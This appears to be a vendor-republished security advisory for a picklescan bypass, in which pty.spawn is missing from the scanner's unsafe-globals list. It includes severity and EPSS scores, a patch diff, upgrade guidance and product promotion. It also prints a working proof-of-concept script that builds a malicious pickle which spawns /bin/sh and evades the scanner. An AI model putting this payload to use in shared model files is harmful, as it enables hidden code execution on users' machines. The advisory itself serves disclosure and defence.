GHSA-hgrh-qx5j-jfwx is a high-severity (CVSS 8.8) CWE-693 vulnerability in picklescan. A fix is available for picklescan — see the affected versions and patch details below.
Picklescan Bypasses Unsafe Globals Check using pty.spawn
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-hgrh-qx5j-jfwx.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-hgrh-qx5j-jfwx plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
picklescanReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The vulnerability allows malicious actors to bypass PickleScan's unsafe globals check, leading to potential arbitrary code execution. The issue stems from the absence of the pty library (more specifically, of the pty.spawn function) from PickleScan's list of unsafe globals. This vulnerability allows attackers to disguise malicious pickle payloads within files that would otherwise be scanned for pickle-based threats.
Details
For 2025's HeroCTF, there was a challenge named Irreductible 2 where players would need to bypass the latest versions of PickleScan and Fickling to gain code execution. The challenge writeup, files and solve script have all been released.
The intended way was to use pty.spawn but some players found alternative solutions.
PoC
- Run the following Python code to generate the PoC pickle file.
import pickle
command = b"/bin/sh"
payload = b"".join(
[
pickle.PROTO + pickle.pack("B", 4),
pickle.MARK,
pickle.GLOBAL + b"pty\n" + b"spawn\n",
pickle.EMPTY_LIST,
pickle.SHORT_BINUNICODE + pickle.pack("B", len(command)) + command,
pickle.APPEND,
# Additional arguments can be passed by repeating the SHORT_BINUNICODE + APPEND opcodes
pickle.OBJ,
pickle.STOP,
]
)
with open("dump.pkl", "wb") as f:
f.write(payload)
- Run PickleScan on the generated pickle file. <img width="936" height="311" alt="picklescan_bypass_pty_spawn" src="https://github.com/user-attachments/assets/0d6430e4-a7e5-461c-9d75-c607f6886c9f" />
PickleScan detects the pty.spawn global as "suspicious" but not "dangerous", allowing it to be loaded.
Impact
Severity: High
Affected Users: Any organization, like HuggingFace, or individual using PickleScan to analyze PyTorch models or other files distributed as ZIP archives for malicious pickle content.
Impact Details: Attackers can craft malicious PyTorch models containing embedded pickle payloads and bypass the PickleScan check by using the pty.spawn function. This could lead to arbitrary code execution on the user's system when these malicious files are processed or loaded.
Suggested Patch
diff --git a/src/picklescan/scanner.py b/src/picklescan/scanner.py
index 34a5715..b434069 100644
--- a/src/picklescan/scanner.py
+++ b/src/picklescan/scanner.py
@@ -150,6 +150,7 @@ _unsafe_globals = {
"_pickle": "*",
"pip": "*",
"profile": {"Profile.run", "Profile.runctx"},
+ "pty": "spawn",
"pydoc": "pipepager", # pydoc.pipepager('help','echo pwned')
"timeit": "*",
"torch._dynamo.guards": {"GuardBuilder.get"},
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | picklescan | all versions | 0.0.33pip install --upgrade 'picklescan==0.0.33' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update picklescan to 0.0.33 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hgrh-qx5j-jfwx is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-hgrh-qx5j-jfwx can be triaged on real exposure rather than presence alone.
Tailored to GHSA-hgrh-qx5j-jfwx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-hgrh-qx5j-jfwx in your dependencies?
O3 Security finds GHSA-hgrh-qx5j-jfwx across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.